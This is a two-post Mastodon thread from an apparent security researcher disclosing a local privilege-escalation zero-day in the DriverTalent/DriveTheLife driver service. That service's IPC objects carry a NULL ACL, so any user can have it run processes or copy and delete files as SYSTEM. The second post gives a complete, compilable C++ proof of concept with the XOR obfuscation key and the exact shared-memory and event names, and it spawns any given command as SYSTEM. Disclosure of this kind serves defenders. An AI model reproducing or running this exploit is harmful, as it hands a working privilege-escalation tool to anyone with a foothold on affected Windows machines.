Post APTSffYiNcNezRoWxs by Rairii@infosec.exchange
 (DIR) More posts by Rairii@infosec.exchange
 (DIR) Post #APTSffYiNcNezRoWxs by Rairii@infosec.exchange
       2022-11-09T19:33:45Z
       
       1 likes, 0 repeats
       
       OK, so everyone seemed to enjoy the last one. Here's another #PrivEsc #ZeroDay :)This time for the #PotentiallyUnwantedProgram called DriverTalent, also known as DriveTheLife from Shenzhen DriveTheLife Software Technology Co.LtdVendor website is hxxps://160.com in Chinese and hxxps://www.drivethelife.com in English.To me the vendor is a bad actor. It's a PUP, and the same developers once bundled a mapper driver (send IOCTL with obfuscated unsigned driver PE, it loads it) with most of their products, some of which have been distributed in the past via #PUP bundler networks.Here's the technical details:It installs a service, DevDrvSvc (in the zh-CN version) or LDrvSvc (in the english version), that runs as SYSTEM.This service exposes IPC via shared memory (with a semaphore to lock that memory, an event to notify the server that a message is sent, and an event to notify the client that a message was replied to).All the objects are created with a security descriptor that has a NULL access control list (so everyone at Medium IL can access them).The IPC commands include creating an arbitrary process (where the command line and application name are obfuscated by 1024-byte XOR key) as SYSTEM (in session zero or current session); copying a file as SYSTEM with arbitrary source and destination paths; deleting a file as SYSTEM with arbitrary path.Latest known vulnerable components are devdrvsvc.dll v1.0.21.616 and LDrvSvc.dll v2.0.8.610.Uninstallation of this software will prevent exploitation of the issue.PoC code will fit in a reply.#0day
       
 (DIR) Post #APTSfhxbS3TeRDTR2G by Rairii@infosec.exchange
       2022-11-09T19:34:23Z
       
       0 likes, 0 repeats
       
       // Compile with: cl DTL.cpp /link /entry:EntryPoint /subsystem:console kernel32.lib#include <windows.h>#ifdef _M_IX86#define COOKIE_CALLING_CONVENTION __fastcall#else#define COOKIE_CALLING_CONVENTION __cdecl#endifextern "C" void COOKIE_CALLING_CONVENTION __security_check_cookie(_In_ uintptr_t cookie) {}static HANDLE g_stdOut;__forceinline static bool HandleInvalid(HANDLE h) {    return h == INVALID_HANDLE_VALUE || h == nullptr;}__forceinline static void InitStdOut() {    g_stdOut = GetStdHandle(STD_OUTPUT_HANDLE);    if (HandleInvalid(g_stdOut)) g_stdOut = nullptr;}template <size_t size>__forceinline static void PrintW(const wchar_t (&string)[size]) {    if (g_stdOut == nullptr) return;    WriteConsoleW(g_stdOut, string, size - 1, nullptr, nullptr);}__forceinline static void PrintW2(LPCWSTR string) {    if (g_stdOut == nullptr) return;    DWORD strLen = 0;    for (; string[strLen] != 0; strLen++) {}    WriteConsoleW(g_stdOut, string, strLen, nullptr, nullptr);}enum CmdIndex : DWORD {    CmdStartClient = 1,    CmdCopyFile = 3,    CmdDeleteFile = 4};enum CreateProcessType : DWORD {    CreateAsUser = 0,    CreateInSessionZero = 1,    CreateInActiveSession = 2 // as SYSTEM};struct IpcCommand{    CmdIndex cmdIndex;    BOOL result;    union {        wchar_t ciphertextApplicationName[260]; // obfuscated        wchar_t fileCopySource[260]; // not obfuscated        wchar_t pathToDelete[260]; // not obfuscated    };    union {        wchar_t ciphertextCommandLine[260]; // obfuscated        wchar_t fileCopyDestination[260]; // not obfuscated    };    CreateProcessType createProcessType;};static const BYTE g_xorKey[] = {    239, 2, 45, 0, 223, 155, 138, 7, 142, 56, 36, 15, 190, 197, 5, 10,    43, 136, 238, 109, 27, 247, 81, 107, 74, 150, 105, 100, 122, 9, 73, 101,    103, 11, 172, 219, 87, 130, 13, 221, 6, 245, 182, 214, 54, 88, 148, 211,    163, 223, 112, 182, 147, 112, 208, 177, 194, 193, 247, 184, 242, 78, 219, 191,    255, 25, 65, 183, 207, 164, 104, 176, 158, 3, 80, 186, 174, 154, 235, 190,    59, 85, 12, 219, 11, 202, 37, 222, 90, 39, 143, 213, 106, 152, 52, 212,    119, 196, 214, 108, 71, 41, 242, 107, 22, 218, 201, 99, 38, 83, 113, 102,    179, 82, 149, 1, 131, 221, 186, 6, 210, 112, 20, 16, 226, 255, 173, 8,    207, 52, 55, 110, 255, 201, 113, 105, 174, 70, 58, 97, 158, 215, 0, 104,    11, 210, 245, 3, 59, 77, 58, 5, 106, 12, 133, 14, 90, 115, 61, 11,    71, 177, 193, 181, 119, 28, 8, 179, 38, 143, 192, 188, 22, 254, 122, 189,    131, 189, 140, 216, 179, 82, 197, 223, 226, 163, 255, 214, 210, 44, 196, 209,    223, 135, 60, 217, 239, 22, 125, 222, 190, 85, 55, 216, 142, 232, 243, 208,    27, 107, 1, 181, 43, 212, 63, 180, 122, 81, 120, 187, 74, 206, 58, 190,    87, 158, 189, 2, 103, 15, 250, 5, 54, 192, 196, 13, 6, 45, 133, 12,    147, 244, 126, 111, 163, 123, 193, 104, 242, 14, 10, 98, 194, 161, 200, 102,    174, 110, 157, 220, 158, 223, 157, 219, 207, 140, 214, 210, 255, 1, 211, 213,    106, 60, 226, 177, 90, 211, 224, 182, 11, 98, 151, 192, 59, 237, 153, 185,    38, 167, 30, 8, 22, 54, 27, 1, 71, 153, 99, 10, 119, 36, 100, 15,    226, 35, 96, 106, 210, 156, 98, 109, 131, 253, 40, 101, 179, 98, 39, 100,    190, 93, 152, 107, 142, 208, 146, 108, 223, 63, 217, 101, 239, 174, 223, 98,    122, 241, 214, 6, 74, 126, 219, 1, 27, 203, 163, 9, 43, 100, 156, 16,    54, 120, 34, 177, 6, 5, 41, 184, 87, 166, 95, 191, 103, 55, 90, 186,    242, 190, 109, 221, 194, 33, 102, 218, 147, 196, 30, 212, 163, 59, 35, 213,    142, 8, 194, 178, 190, 133, 105, 181, 239, 50, 143, 188, 223, 155, 42, 188,    74, 30, 13, 224, 122, 177, 166, 216, 43, 64, 78, 210, 27, 207, 243, 215,    6, 213, 87, 106, 54, 104, 243, 110, 103, 171, 8, 104, 87, 50, 176, 97,    194, 121, 150, 4, 242, 230, 59, 3, 163, 103, 211, 10, 147, 216, 108, 14,    158, 67, 238, 5, 174, 170, 75, 2, 255, 25, 163, 11, 207, 148, 4, 13,    90, 143, 47, 105, 106, 32, 147, 111, 59, 109, 104, 103, 11, 2, 200, 98,    22, 234, 108, 223, 38, 115, 206, 217, 119, 244, 53, 209, 71, 137, 147, 216,    210, 200, 177, 179, 226, 55, 17, 180, 179, 250, 246, 189, 131, 101, 90, 187,    108, 218, 67, 185, 92, 115, 107, 192, 13, 192, 16, 183, 61, 77, 44, 178,    168, 16, 15, 214, 152, 127, 40, 211, 201, 238, 79, 219, 249, 97, 117, 220,    228, 115, 217, 99, 212, 234, 244, 100, 133, 173, 138, 109, 181, 16, 178, 106,    32, 23, 152, 15, 16, 168, 189, 10, 65, 41, 213, 0, 113, 182, 238, 7,    124, 81, 112, 16, 76, 220, 77, 9, 29, 107, 37, 2, 45, 2, 7, 7,    184, 189, 49, 99, 136, 50, 21, 102, 217, 223, 106, 108, 233, 80, 74, 107,    244, 76, 239, 212, 196, 177, 208, 211, 149, 50, 184, 218, 165, 171, 149, 221,    48, 42, 180, 186, 0, 181, 147, 191, 81, 248, 248, 183, 97, 135, 220, 176,    76, 188, 159, 215, 124, 81, 32, 210, 45, 158, 216, 216, 29, 47, 85, 224,    136, 170, 100, 188, 184, 37, 227, 188, 233, 148, 25, 181, 217, 251, 155, 178,    196, 233, 32, 14, 244, 84, 157, 10, 165, 247, 101, 3, 149, 102, 230, 4,    0, 37, 226, 97, 48, 186, 100, 104, 97, 91, 171, 110, 81, 228, 41, 106,    92, 239, 153, 98, 108, 126, 20, 103, 61, 13, 219, 111, 13, 160, 97, 105,    152, 163, 88, 13, 168, 12, 221, 11, 249, 185, 37, 2, 201, 54, 158, 5,    212, 118, 36, 187, 228, 231, 170, 189, 181, 72, 97, 180, 133, 181, 219, 179,    16, 124, 239, 216, 32, 3, 104, 209, 113, 102, 160, 217, 65, 249, 36, 223,    45, 22, 121, 101, 29, 135, 179, 100, 76, 4, 252, 106, 124, 121, 194, 109,    233, 180, 183, 9, 217, 75, 252, 14, 136, 138, 198, 7, 184, 21, 127, 0,    165, 63, 3, 192, 149, 206, 73, 185, 196, 97, 130, 177, 244, 236, 60, 182,    97, 107, 78, 211, 81, 228, 134, 214, 0, 149, 65, 221, 48, 250, 5, 220,    61, 165, 126, 212, 13, 24, 191, 213, 92, 215, 249, 221, 108, 70, 182, 218,    249, 137, 195, 190, 201, 22, 2, 186, 152, 147, 186, 176, 168, 44, 125, 183,    181, 240, 255, 8, 133, 125, 60, 16, 212, 206, 134, 6, 228, 95, 71, 1,    113, 102, 65, 102, 65, 201, 131, 99, 16, 60, 76, 108, 32, 179, 10, 109,    13, 128, 111, 11, 61, 253, 204, 14, 108, 90, 230, 4, 92, 195, 199, 3,    201, 198, 176, 103, 249, 89, 20, 97, 168, 184, 171, 105, 152, 71, 139, 110,    133, 29, 238, 209, 181, 176, 79, 215, 228, 67, 121, 223, 212, 202, 86, 216,    65, 17, 51, 189, 113, 126, 146, 188, 32, 47, 58, 179, 16, 160, 29, 182,    29, 219, 130, 190, 45, 66, 170, 187, 124, 225, 17, 180, 76, 92, 173, 180,    217, 215, 205, 208, 233, 104, 231, 215, 184, 5, 209, 222, 136, 154, 118, 217,    149, 146, 24, 103, 165, 27, 52, 98, 244, 108, 139, 104, 196, 1, 51, 111,    81, 64, 87, 12, 97, 175, 124, 13, 48, 34, 86, 6, 0, 141, 239, 2};template <typename T, size_t len>__forceinline static size_t SizeOfElems(const T(&arr)[len]) {    return len;}__forceinline static void CryptZero(PBYTE dest, size_t idxChr) {    dest[idxChr] = g_xorKey[idxChr % SizeOfElems(g_xorKey)];}__forceinline static void CryptByte(PBYTE dest, const BYTE* src, size_t idxChr) {    dest[idxChr] = src[idxChr] ^ g_xorKey[idxChr % SizeOfElems(g_xorKey)];}template <size_t len>__forceinline static void CryptString(wchar_t (&dest)[len], LPCWSTR src, bool untilSpace = false) {    RtlSecureZeroMemory(dest, SizeOfElems(dest) * sizeof(*dest));    auto dst8 = (BYTE*)dest;    auto src8 = (const BYTE*)src;    size_t i = 0;    for (; i < SizeOfElems(dest) - 1; i++) {        if (untilSpace && src[i] == L' ') break;        else if (src[i] == 0) break;        auto idxChr = i * sizeof(*src);        CryptByte(dst8, src8, idxChr + 0);        CryptByte(dst8, src8, idxChr + 1);    }    if (i < SizeOfElems(dest) - 2) {        auto idxChr = i * sizeof(*src);        CryptZero(dst8, idxChr + 0);        CryptZero(dst8, idxChr + 1);    }}__forceinline static void EntryPointCore() {    InitStdOut();    // Get the command line for this process.    auto cmdline = GetCommandLineW();    // We don't want the argv[0].    while (*cmdline != 0 && *cmdline != L' ') cmdline++;    if (*cmdline == 0) {        PrintW(L"[*] Usage: ");        PrintW2(GetCommandLineW());        PrintW(L" <cmdline to run as SYSTEM>\n");        PrintW(L"[*] Example: ");        PrintW2(GetCommandLineW());        PrintW(L" cmd.exe");        return;    }    while (*cmdline == L' ') cmdline++;    PrintW(L"[*] Mapping shared memory...\n");    HANDLE hMapping = OpenFileMappingW(FILE_MAP_READ | FILE_MAP_WRITE, FALSE, L"Global\\HostFileMapping{A8805DEC-FE3F-405b-BC65-35AF250FFAB7}");    if (HandleInvalid(hMapping)) {        PrintW(L"[-] Could not open shared memory.\n");        return;    }    auto pSharedMem = (IpcCommand*)        MapViewOfFile(hMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, sizeof(IpcCommand));    if (pSharedMem == nullptr) {        PrintW(L"[-] Could not map shared memory.\n");        return;    }    PrintW(L"[*] Opening sync objects...\n");    auto hSemaphore = OpenSemaphoreW(SYNCHRONIZE | SEMAPHORE_MODIFY_STATE, FALSE, L"Global\\HostNotifyCritical{B3C43F39-6D2F-4550-A74E-32EE7C362707}");    if (HandleInvalid(hSemaphore)) {        PrintW(L"[-] Could not open semaphore.\n");        return;    }    auto hSendEvent = OpenEventW(SYNCHRONIZE | EVENT_MODIFY_STATE, FALSE, L"Global\\HostNotifyEvent{9D193316-ACB0-481e-88B9-58E403C6BC8D}");    if (HandleInvalid(hSendEvent)) {        PrintW(L"[-] Could not open send event.\n");        return;    }    auto hReplyEvent = OpenEventW(SYNCHRONIZE | EVENT_MODIFY_STATE, FALSE, L"Global\\HostNotifyReplyEvent{867EC3D7-7D97-469a-ADD6-0C841D20AFB0}");    if (HandleInvalid(hReplyEvent)) {        PrintW(L"[-] Could not open reply event.\n");        return;    }    PrintW(L"[*] Calling svcStartClient...\n");    // Lock the semaphore to ensure we're the only process touching the sharedmem.    WaitForSingleObject(hSemaphore, INFINITE);    // Set up the structure.    pSharedMem->cmdIndex = CmdIndex::CmdStartClient;    pSharedMem->createProcessType = CreateProcessType::CreateInActiveSession;    CryptString(pSharedMem->ciphertextApplicationName, cmdline, true);    CryptString(pSharedMem->ciphertextCommandLine, cmdline);    // Release the semaphore.    if (ReleaseSemaphore(hSemaphore, 1, nullptr) == FALSE) {        PrintW(L"[-] Could not release semaphore locking shared memory.\n");        return;    }    // Hit the send event.    if (SetEvent(hSendEvent) == FALSE) {        PrintW(L"[-] Could not set event for sending IPC messsage over shared memory.\n");        return;    }    PrintW(L"[*] Waiting and obtaining reply...\n");    WaitForSingleObject(hReplyEvent, INFINITE);    // Lock the semaphore to access shared memory.    WaitForSingleObject(hSemaphore, INFINITE);    // Reset the two events, original code doesn't do this, it should.    ResetEvent(hSendEvent);    ResetEvent(hReplyEvent);    // Get the return value.    auto success = pSharedMem->result;    // Wipe shared memory.    RtlSecureZeroMemory(pSharedMem, sizeof(*pSharedMem));    // Release the semaphore.    if (ReleaseSemaphore(hSemaphore, 1, nullptr) == FALSE) {        PrintW(L"[-] Could not release semaphore locking shared memory.\n");        return;    }    if (success) {        PrintW(L"[+] New process created as SYSTEM :)\n");    }    else {        PrintW(L"[-] Process creation failed...\n");    }}void EntryPoint() {    EntryPointCore();    ExitProcess(0);}